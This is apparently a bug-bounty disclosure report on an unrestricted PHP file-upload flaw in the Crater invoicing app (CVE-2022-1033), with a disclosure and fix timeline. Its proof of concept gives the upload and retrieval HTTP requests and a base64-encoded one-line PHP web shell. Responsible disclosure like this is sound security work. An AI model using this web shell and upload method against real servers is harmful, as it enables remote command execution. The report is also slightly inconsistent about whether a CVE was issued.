Unrestricted Upload of File with Dangerous Type in crater-invoice/crater

0

✓ Valid Reported on Feb 20th 2022

Description

In recent Crater version (bed05fc2 tag: 6.0.4) privileged user can upload PHP file as expense receipt.

Proof of Concept

```
POST /api/v1/expenses/59/upload/receipts HTTP/1.1
Host: 172.17.0.1:8888
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:98.0) Gecko/20100101 Firefo
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
company: 1
X-XSRF-TOKEN: eyJpdiI6IkxRVSt6bm55Y0VyTkl6UUFaaWQ5cXc9PSIsInZhbHVlIjoiSkxPZ
Content-Type: multipart/form-data; boundary=---------------------------167
Content-Length: 372
Origin: http://172.17.0.1:8888
DNT: 1
Connection: close
Referer: http://172.17.0.1:8888/admin/expenses/59/edit
Cookie: XSRF-TOKEN=eyJpdiI6IkxRVSt6bm55Y0VyTkl6UUFaaWQ5cXc9PSIsInZhbHVlIjoi

-----------------------------167024296112701364263127960184
Content-Disposition: form-data; name="type"

edit
-----------------------------167024296112701364263127960184
Content-Disposition: form-data; name="attachment_receipt"
```

```
{"data":"PD89YCRfR0VUWzFdYD8+","type":"edit","name":"2137webshell.php"}
-----------------------------167024296112701364263127960184--
```

Next when get this expense through the API You will receive `attachment_receipt_url` param with url to the webshell file

```
GET /api/v1/expenses/59 HTTP/1.1
Host: 172.17.0.1:8888
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:98.0) Gecko/20100101 Firefo
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
company: 1
X-XSRF-TOKEN: eyJpdiI6IkR4UDNSU1kzai9Ya0ljSTg1cEpCWmc9PSIsInZhbHVlIjoiMVA1
DNT: 1
Connection: close
Referer: http://172.17.0.1:8888/admin/expenses/59/edit
Cookie: ...


HTTP/1.1 200 OK
Host: 172.17.0.1:8888
Date: Sun, 20 Feb 2022 20:47:20 GMT
Connection: close
X-Powered-By: PHP/8.0.15
Cache-Control: no-cache, private
Date: Sun, 20 Feb 2022 20:47:20 GMT
Content-Type: application/json
X-RateLimit-Limit: 180
X-RateLimit-Remaining: 178
Set-Cookie: ...

{
    "data"
    "data":
    {
        "id": 59,

        "expense_date": "2022-01-22T00:00:00.000000Z",
        "amount": 100,
        "notes": "assss",
        "customer_id": 2,
        "attachment_receipt_url":
        {
            "url": "http:\/\/172.17.0.1:8888\/storage\/50\/2137webshell.php
            "type": "other"
        }
...
    }
}
```

Impact

This vulnerability is high and leads to code execution

References

- https://owasp.org/www-community/vulnerabilities/Unrestricted_File_Upload

CVE
CVE-2022-1033
(Published)

Vulnerability Type
CWE-434: Unrestricted Upload of File with Dangerous Type

Severity
High (7.2)

Visibility
Public

Status
Fixed

Found by

theworstcomrade

@theworstcomrade

unranked

Fixed by

theworstcomrade

@theworstcomrade

unranked

This report was seen 669 times.

We are processing your report and will contact the **crater-invoice/crater** team within 24 hours.
9 months ago

theworstcomrade submitted a patch 9 months ago

We have contacted a member of the **crater-invoice/crater** team and are waiting to hear back
9 months ago

We have sent a follow up to the **crater-invoice/crater** team. We will try again in 7 days.
9 months ago

We have sent a second follow up to the **crater-invoice/crater** team. We will try again in 10 days.
9 months ago

We have sent a third and final follow up to the **crater-invoice/crater** team. This report is now considered stale. 8 months ago

Mohit Panjwani validated this vulnerability 8 months ago

theworstcomrade has been awarded the disclosure bounty ✓

The fix bounty is now up for grabs

theworstcomrade 8 months ago Researcher

@mohitpanjwani here you have the fix https://github.com/crater-invoice/crater/pull/355

Chat with us

Mohit Panjwani marked this as fixed in **6.0.6** with commit **88035e** 8 months ago theworstcomrade has been awarded the fix bounty ✓

This vulnerability will not receive a CVE ✗

Sign in to join this conversation

huntr

home

hacktivity

leaderboard

FAQ

contact us

terms

privacy policy

part of 418sec

company

about

team

Chat with us